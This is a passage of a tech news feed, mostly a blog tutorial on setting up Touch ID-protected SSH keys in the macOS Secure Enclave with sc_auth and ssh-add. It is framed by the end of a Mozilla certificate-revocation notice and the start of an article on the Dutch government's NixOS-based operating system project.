&lt;p&gt;Today, we are also releasing &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.firefox.com/en-US/firefox/158.0.1/releasenotes/&quot;&gt;Firefox 158.0.1&lt;/a&gt; for Desktop and Android, along with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.firefox.com/en-US/firefox/115.43.1/releasenotes/&quot;&gt;Firefox ESR 115.43.1&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.firefox.com/en-US/firefox/153.5.1/releasenotes/&quot;&gt;Firefox ESR 153.5.1&lt;/a&gt;. These releases will distribute this protection for a minority of users whose custom settings may have prevented them from receiving the OneCRL update.&lt;/p&gt;
&lt;p&gt;We are also updating the trusted certificate list in NSS (&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://groups.google.com/a/mozilla.org/g/dev-tech-crypto/c/vSxZxnOMMvs&quot;&gt;NSS 3.131.1&lt;/a&gt;) to remove the root certificate that signed the affected intermediates. Firefox is already protected through OneCRL, but this additional update helps protect other applications that use Mozilla’s trust store or versions derived from it and do not receive OneCRL updates.&lt;/p&gt;
&lt;p&gt;Mozilla believes everyone has a fundamental right to security and privacy online. We remain committed to defending those rights and acting quickly to protect users.&lt;/p&gt;
&lt;p&gt;Transparency is essential to trust. We will share more information as soon as circumstances allow.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:7619eb41d70e0d63ab811292d32c75ce19227885</id>
    <title type="text">Setting up SSH keys on macOS with Touch ID</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-20-setting-up-ssh-keys-on-macos-with-touch-id/"/>
    <link rel="via" type="text/html" href="https://nmattia.com/posts/2026-10-19-setting-up-ssh-keys-touch-id/"/>
    <published>2026-10-20T10:23:58+00:00</published>
    <updated>2026-10-20T10:23:58+00:00</updated>
    <author>
      <name>nmattia.com by nmattia</name>
    </author>
    <category term="news"/>
    <category term="cryptography"/>
    <category term="mac"/>
    <category term="security"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;hr /&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://nmattia.com/_astro/touch-id-button.CmOAUBec_25NwAs.webp&quot; alt=&quot;Blog post social card&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;In the first part of this post I’ll show a simple, secure way to create an SSH key on Mac (it’s 3 commands, including support for GitHub). In the second part I’ll dig deeper and explain what’s actually happening for the curious reader.&lt;/p&gt;
&lt;p&gt;Macs have a built-in so-called &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://support.apple.com/en-gb/guide/security/sec59b0b31ff/web&quot;&gt;Secure Enclave&lt;/a&gt;, where we can create “identities” that simply cannot be stolen (unless maybe you’ve made enemies with a nation state). Those identities are protected with Touch ID and can be used for SSH authentication. There are some great benefits about using this over traditional SSH key files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The private material cannot be extracted, is never shown, cannot be stolen,&lt;/li&gt;
&lt;li&gt;You get prompted whenever the identity is used,&lt;/li&gt;
&lt;li&gt;No key files (like &lt;code&gt;~/.ssh/id_ed25519.pub&lt;/code&gt; and friends) littering the file system; and there’s no risk of mistakenly deleting them either.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This extra security will be in effect whenever you use SSH, including git-over-ssh like GitHub. It’s great that advanced security tech is available by default on some of the most widely distributed computers in the world! A few years ago stuff like this could only be found at CERN and/or in Dan Brown novels. Let’s see how it can be set up on your consumer-grade Mac.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It is essential that the human interface be designed for ease of use, so that users routinely and automatically apply the protection mechanisms correctly.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Saltzer and Schroeder, “The Protection of Information in Computer Systems”&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Quick Setup&lt;/h2&gt;
&lt;p&gt;We’ll create a secure identity on the Secure Enclave, then tell SSH how to use it for authentication, and finally add the key to GitHub.&lt;/p&gt;
&lt;h3&gt;Step 1: create the identity that you’ll use on this Mac:&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;sc_auth&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; create-ctk-identity&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;l&lt;/span&gt; ssh-key&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;k&lt;/span&gt; p-256-ne&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;t&lt;/span&gt; bio &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; run once to create identity&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll be prompted to touch “Touch ID”. Your identity is now created and saved securely (parameters are explained in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nmattia.com/posts/2026-10-19-setting-up-ssh-keys-touch-id/#under-the-hood&quot;&gt;deep dive&lt;/a&gt; below).&lt;/p&gt;
&lt;h3&gt;Step 2: tell SSH to use the identity (when prompted for a PIN, just hit enter):&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;ssh-add&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;K&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;S&lt;/span&gt; /usr/lib/ssh-keychain.dylib &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; run after a reboot&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From here on, SSH will know to use the identity from the Secure Enclave when connecting via SSH; it does not have a good memory so you’ll need to remind it after a reboot.&lt;/p&gt;
&lt;h3&gt;Step 3: Whenever you need to register your key to a new server (like GitHub), run this command:&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;ssh-add&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;L &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; run when you need the public key&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If multiple identities are listed, use the line that starts with &lt;code&gt;sk-ecdsa-sha2-nistp256...&lt;/code&gt;. It’s a shareable handle for the identity, and this is the SSH key that GitHub will ask about.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://nmattia.com/_astro/github-and-public-keys.DDyiYt-R_1qoNBw.webp&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The output of &lt;code&gt;ssh-add -L&lt;/code&gt; can be added as a GitHub SSH Key&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;That’s all you need for a super secure setup! The new identity can now be used with SSH, and you’ll be prompted for Touch ID during authentication:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; push &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; triggers Touch ID prompt&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No one can steal your identity (well, you can’t even give it away willingly since it can’t be extracted from the Secure Enclave), but with great powers etc: if your Mac dies, so does the identity, and you’ll need to create a new one (and re-register it where necessary, like GitHub).&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://nmattia.com/_astro/git-clone-touch-id.C4ZD3wi0_1VhtPk.webp&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You’ll get a Touch ID prompt when git tries to authenticate with SSH&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If you’re curious about how this works, read on!&lt;/p&gt;
&lt;h2&gt;Under the hood&lt;/h2&gt;
&lt;p&gt;We’ll now try to understand what happens under the hood. We’ll start with the actual identity creation in the Secure Enclave, then look at how SSH is allowed to interface with the Secure Enclave with &lt;code&gt;ssh-keychain.dylib&lt;/code&gt;, and then try to see what happens in a complete SSH sign-in flow.&lt;/p&gt;
&lt;p&gt;This is the result of reading posts (like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/arianvp/5f59f1783e3eaf1a2d4cd8e952bb4acf&quot;&gt;this great investigation by &lt;code&gt;arianvp&lt;/code&gt;&lt;/a&gt;), manual pages, and experimentation. A lot of this is undocumented, and this is the minimum information I needed to form a mental model of what’s happening and convince myself that it does, indeed, work.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some of the command outputs below have been trimmed for legibility, I invite you to run them locally if you want the full experience!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Creating an identity on the Secure Enclave&lt;/h3&gt;
&lt;p&gt;Identities are managed with the &lt;code&gt;sc_auth&lt;/code&gt; command (where &lt;code&gt;sc_&lt;/code&gt; stands for Smart Card). In Apple-speak, they are “CryptoTokenKit” identities, or CTK identities for short. Why not Smart Card Identities? What is a Smart Card? No idea! There’s a lot of weird Apple vocabulary, but in practice they’re just private keys stored on the Secure Enclave:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;$ sc_auth list-ctk-identities
Key Type Public Key Hash                          Prot Label
p-256-ne 458F712F281B53C683F23FC02E69D44DAFDAA3DE bio  ssh-key
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you followed along in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nmattia.com/posts/2026-10-19-setting-up-ssh-keys-touch-id/#quick-setup&quot;&gt;Quick Setup&lt;/a&gt;, you should have exactly one identity here, that was created when you ran the &lt;code&gt;sc_auth create-ctk-identity&lt;/code&gt; command. Let’s look at the &lt;code&gt;create-ctk-identity&lt;/code&gt; command in more detail:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;sc_auth create-ctk-identity -l &amp;lt;label&amp;gt; -k &amp;lt;key type&amp;gt; -t &amp;lt;protection&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When using the &lt;code&gt;p-256-ne&lt;/code&gt; key type, this command creates the identity on the Secure Enclave — I’m guessing by first gathering some entropy, then generating some private key material and allocating whatever it needs for bookkeeping and ensuring it can only be accessed with your fingerprint.&lt;/p&gt;
&lt;p&gt;The label is freeform and just a note attached to the key. The key type is a cryptographic setting (the elliptic curve used). At the time of writing, the following values are accepted: &lt;code&gt;p-256|p-384|p-521|p-256-ne|p-384-ne&lt;/code&gt;. The &lt;code&gt;-ne&lt;/code&gt; suffix means “Non-Extractable”, meaning the key is generated by the enclave itself and &lt;em&gt;cannot&lt;/em&gt; be extracted from the Secure Enclave. For SSH we only need &lt;em&gt;signing&lt;/em&gt;, which is done by (and &lt;em&gt;on&lt;/em&gt;) the Secure Enclave itself, and at no point do we need (or want) to export the private key. The &lt;code&gt;p-384&lt;/code&gt; curve is not supported by (Open)SSH, so this narrows it down to &lt;code&gt;p-256-ne&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally, &lt;code&gt;protection&lt;/code&gt; can be either &lt;code&gt;bio&lt;/code&gt; or &lt;code&gt;none&lt;/code&gt;. When set to &lt;code&gt;bio&lt;/code&gt;, using the key requires biometrics (like Touch ID). With &lt;code&gt;none&lt;/code&gt;, the key &lt;em&gt;still&lt;/em&gt; cannot be extracted (i.e. stolen) &lt;em&gt;but&lt;/em&gt; programs would be able to silently use SSH; I recommend using &lt;code&gt;bio&lt;/code&gt;, but YMMV; if you get annoyed by the Touch ID prompts whenever you &lt;code&gt;git pull&lt;/code&gt;, you might want to use &lt;code&gt;none&lt;/code&gt; here.&lt;/p&gt;
&lt;p&gt;Now that we have some elusive identity on the Secure Enclave, let’s see how we can tell SSH to use it for authentication.&lt;/p&gt;
&lt;h3&gt;Translating between SSH and the Secure Enclave&lt;/h3&gt;
&lt;p&gt;There’s a bit of impedance mismatch, and &lt;code&gt;ssh&lt;/code&gt; doesn’t know how to use the identity by default:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;$ ssh -T git@github.com
git@github.com: Permission denied (publickey).
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The SSH agent cannot use the Secure Enclave identities as-is, but Apple has us covered with a small translation layer in the form of &lt;code&gt;ssh-keychain.dylib&lt;/code&gt;, a &lt;code&gt;dlopen&lt;/code&gt;-able library available natively on all recent macOS versions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;$ ssh-add -K -S /usr/lib/ssh-keychain.dylib
...
Resident identity added: ECDSA-SK SHA256:QZ+Cx6/AkS9sek9INtsXt6t7wuHOtA555CLJu8a8V7w
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we’re relying on &lt;code&gt;ssh-add&lt;/code&gt;’s built-in support for FIDO-style authenticator via the &lt;code&gt;-K&lt;/code&gt; parameter. This lets the SSH agent know that it shouldn’t read a standard private key (for instance &lt;code&gt;~/.ssh/id_ed25519&lt;/code&gt;) but that it should expect the keys to be stored “externally” (for a lack of better words). With &lt;code&gt;-K&lt;/code&gt; alone, &lt;code&gt;ssh-add&lt;/code&gt; would look for public keys on USB devices (think YubiKey); though we can customize this behavior by registering a “security key provider” with &lt;code&gt;-S &amp;lt;provider&amp;gt;&lt;/code&gt;. This provider should be a stateless dynamically-loadable library, which is exactly what &lt;code&gt;/usr/lib/ssh-keychain.dylib&lt;/code&gt; is. The interface is not documented (at least not in a way I was able to meaningfully process), but we can have a look at what &lt;code&gt;ssh-keychain.dylib&lt;/code&gt; exposes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;$ dyld_info -exports /usr/lib/ssh-keychain.dylib
/usr/lib/ssh-keychain.dylib:
    -exports:
        offset      symbol
        0x00001A2C  _C_GetFunctionList
        0x00000F30  _sk_api_version
        0x00000F38  _sk_enroll
        0x0000136C  _sk_load_resident_keys
        0x00000F40  _sk_sign
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Most likely, &lt;code&gt;_sk_load_resident_keys&lt;/code&gt; is meant to return a list of (public keys of) identities, and &lt;code&gt;_sk_sign&lt;/code&gt; will sign a payload using a specified identity (here, resident means “residing on e.g. the Secure Enclave”).&lt;/p&gt;
&lt;p&gt;We’ve seen how the identities can be created on the Secure Enclave, and how they can, in theory, be used by the SSH agent. Let’s put this to the test and see what happens when an SSH connection is created.&lt;/p&gt;
&lt;h3&gt;SSH Sign-in flow with the ssh-keychain provider&lt;/h3&gt;
&lt;p&gt;Let’s see what we need for authenticating to a remote SSH server. At all times, the SSH agent needs (1) a list of (public) keys that can be used to authenticate, and (2) a way to prove to a server that it has the corresponding private key for any of those keys.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;ssh-add&lt;/code&gt; is first called with &lt;code&gt;-S &amp;lt;provider&amp;gt;&lt;/code&gt;, the &lt;code&gt;_sk_load_resident_keys&lt;/code&gt; routine is called, which returns the public keys of all resident keys on the FIDO-style authenticator. Those are stored in the SSH agent (alongside their corresponding provider, namely &lt;code&gt;ssh-keychain.dylib&lt;/code&gt;) and will later be offered as candidates to any remote SSH server we try connecting to. (Also now that the SSH agent knows about the Secure Enclave identity we created earlier, we can view its SSH-style public key with &lt;code&gt;ssh-add -L&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;Let’s say an SSH connection is initiated: the remote accepts one of those public keys offered by the agent and “challenges” the client to prove its identity. The agent calls &lt;code&gt;_sk_sign&lt;/code&gt; to create a signature with the private key (matching the accepted public key) and the challenge (roughly speaking). This will be forwarded to the Secure Enclave, prompt Touch ID, and if approved, will return a signature for the challenge. The signature is forwarded back to the server, which can confirm we — the client — have the corresponding private key.&lt;/p&gt;
&lt;p&gt;Let’s see what this looks like in practice:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;$ ssh -T git@github.com
git@github.com: Permission denied (publickey).
$ ssh-add -K -S /usr/lib/ssh-keychain.dylib
Enter PIN for authenticator:
Resident identity added: ...
$ ssh -vvv -T git@github.com
debug1: get_agent_identities: agent returned 1 keys
debug1: Offering public key: ssh: ECDSA-SK SHA256:QZ+Cx6/AkS9sek9INtsXt6t7wuHOtA555CLJu8a8V7w authenticator agent
debug1: Server accepts key: ssh: ECDSA-SK SHA256:QZ+Cx6/AkS9sek9INtsXt6t7wuHOtA555CLJu8a8V7w authenticator agent
debug3: sign_and_send_pubkey: signing using sk-ecdsa-sha2-nistp256@openssh.com SHA256:QZ+Cx6/AkS9sek9INtsXt6t7wuHOtA555CLJu8a8V7w
&amp;lt;at this point, Touch ID prompt appears&amp;gt;
Authenticated to github.com ([20.250.119.67]:22) using &amp;quot;publickey&amp;quot;.
Hi nmattia! You&amp;#39;ve successfully authenticated, but GitHub does not provide shell access.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;ssh&lt;/code&gt; debug logs show that one key is offered by the agent, accepted, and then used to create a signature. After the server has verified the signature, authentication is granted (although &lt;code&gt;GitHub does not provide shell access&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;One note: whenever we register the identity with the SSH agent, &lt;code&gt;ssh-add&lt;/code&gt; prompts us for a PIN. What gives? Why does entering an empty PIN work, isn’t this mighty unsafe‽&lt;/p&gt;
&lt;p&gt;Well, no, it’s not unsafe! When we tell &lt;code&gt;ssh-add&lt;/code&gt; to use a FIDO-style authenticator, I suspect its default behavior is to ask for a PIN as it assumes we’ll be using a USB, YubiKey-style authenticator; only we shortcut the whole thing with &lt;code&gt;ssh-keychain.dylib&lt;/code&gt; (and the security comes not from a PIN, but from the soft skin under your fingertips; much cooler). Not great in terms of usability, but &lt;em&gt;I guess&lt;/em&gt; it makes sense. (I have no idea what would happen if you have more than one FIDO authenticator; go &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/sponsors/nmattia&quot;&gt;support me on GitHub&lt;/a&gt; and I’ll buy a collection of YubiKeys to experiment).&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Let’s recap: we can use a somewhat cryptic, poorly documented “Smart Card” tool to create a “CryptoTokenKit” identity on the “Secure Enclave”. Then, by using the poorly documented &lt;code&gt;ssh-keychain.dylib&lt;/code&gt;, we can use said identity to generate signatures that Apple’s &lt;code&gt;ssh&lt;/code&gt; can use. There’s no guarantee that all this missing documentation wouldn’t say “Do not use this; terribly unsafe in practice”, but hey: all this security talk by Apple, they wouldn’t lie to us, right? &lt;em&gt;*spooky*&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Joke aside, it’s pretty cool to have sci-fi style security modules baked into most modern devices; the more people start using them and pushing for openness, the better the support from the companies will be. We can have nice things!&lt;/p&gt;
&lt;p&gt;Again, a lot of this was derived from &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/arianvp/5f59f1783e3eaf1a2d4cd8e952bb4acf&quot;&gt;this gist&lt;/a&gt;; highly recommend having a read and potentially asking questions in the discussion.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bsky.app/profile/nmattia.bsky.social&quot;&gt;Let me know&lt;/a&gt;&lt;em&gt;or&lt;/em&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/d7m5j1/setting_up_ssh_keys_on_macos_with_touch_id&quot;&gt;join the discussion&lt;/a&gt;&lt;/em&gt; if you enjoyed this article! You can also &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://buttondown.com/nmattia&quot;&gt;subscribe&lt;/a&gt; to receive updates.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Here&#39;s more on the topic of macOS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nmattia.com/posts/2026-01-13-using-luks-on-macos/&quot;&gt;Accessing LUKS and ext4 drives from macOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nmattia.com/posts/2022-07-12-keep-you-mac-awake-with-caffeinate/&quot;&gt;Keep your Mac awake with caffeinate&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:ef6999c05f77b652fd9a633a04577cf9a4200922</id>
    <title type="text">The Netherlands is building its own Linux OS to break free from Microsoft</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-19-the-netherlands-is-building-its-own-linux-os-to-break-free/"/>
    <link rel="via" type="text/html" href="https://www.techspot.com/news/114018-netherlands-building-own-linux-os-break-free-microsoft.html"/>
    <published>2026-10-19T20:10:46+00:00</published>
    <updated>2026-10-19T20:10:46+00:00</updated>
    <author>
      <name>techspot.com via pocket_walrus</name>
    </author>
    <category term="news"/>
    <category term="linux"/>
    <category term="windows"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Serving tech enthusiasts for over 25 years.&lt;br /&gt;
TechSpot means tech analysis and advice &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.techspot.com/ethics.html&quot;&gt;you can trust&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft No More:&lt;/strong&gt; European countries are increasing efforts to build sovereign digital infrastructure to replace Microsoft and other US-based solutions. The Dutch government is even working on its own Linux distribution because The Hague is reportedly tired of Washington&#39;s threats against EU-based institutions.&lt;/p&gt;
&lt;p&gt;The Dutch government is trying to solve its digital sovereignty problem with its own Linux operating system. A local source recently highlighted the development efforts being poured into &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://tweakers.net/reviews/15334/nederland-maakt-soeverein-alternatief-voor-windows-en-office-op-basis-van-linux.html&quot;&gt;NixOS&lt;/a&gt;, a Linux distro that originated as a package manager created by Dutch developers. The idea is that US-based software solutions, most notably Microsoft&#39;s, would eventually be replaced by this new OS and open-source productivity solutions.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nixos.org/&quot;&gt;Nix&lt;/a&gt; is a package manager with a few peculiar features, including cross-platform compatibility and its own functional programming language for configuring Unix and Unix-like systems. The tool was first released in 2003, and NixOS debuted three years later. The Linux distro is built around Nix and is currently supported by the Dutch nonprofit organization NixOS Foundation.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.techspot.com/images2/news/bigimage/2026/09/2026-09-29-image-25.jpg&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.techspot.com/images2/news/bigimage/2026/09/2026-09-29-image-25-j.webp&quot; alt=&quot;&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Nix and NixOS are the foundations of the Digitaal Autonome Werkomgeving Overheid (DAWO) project, which includes all the tools required to build a sovereign IT infrastructure. With DAWO, The Hague plans to provide government and public institutions with a custom operating system, productivity and office applications, cloud services, management tools, and everything in between.&lt;/p&gt;
&lt;p&gt;Serious efforts to build the DAWO-based sovereign infrastructure apparently began a few months ago, when Dutch authorities decided to standardize the creation of a national IT ecosystem. The project is focused on accessibility, because NixOS developers are not exactly enthusiastic proponents of heavily GUI-based computer interfaces.&lt;/p&gt;
&lt;p&gt;DAWO&#39;s first pilot programs have already been deployed in private and local environments, but the plan should eventually encompass all institutions in the Netherlands. Sovereignty efforts in the country apparently stalled for years, but the new US administration provided the right incentives to finally get the job done.&lt;/p&gt;
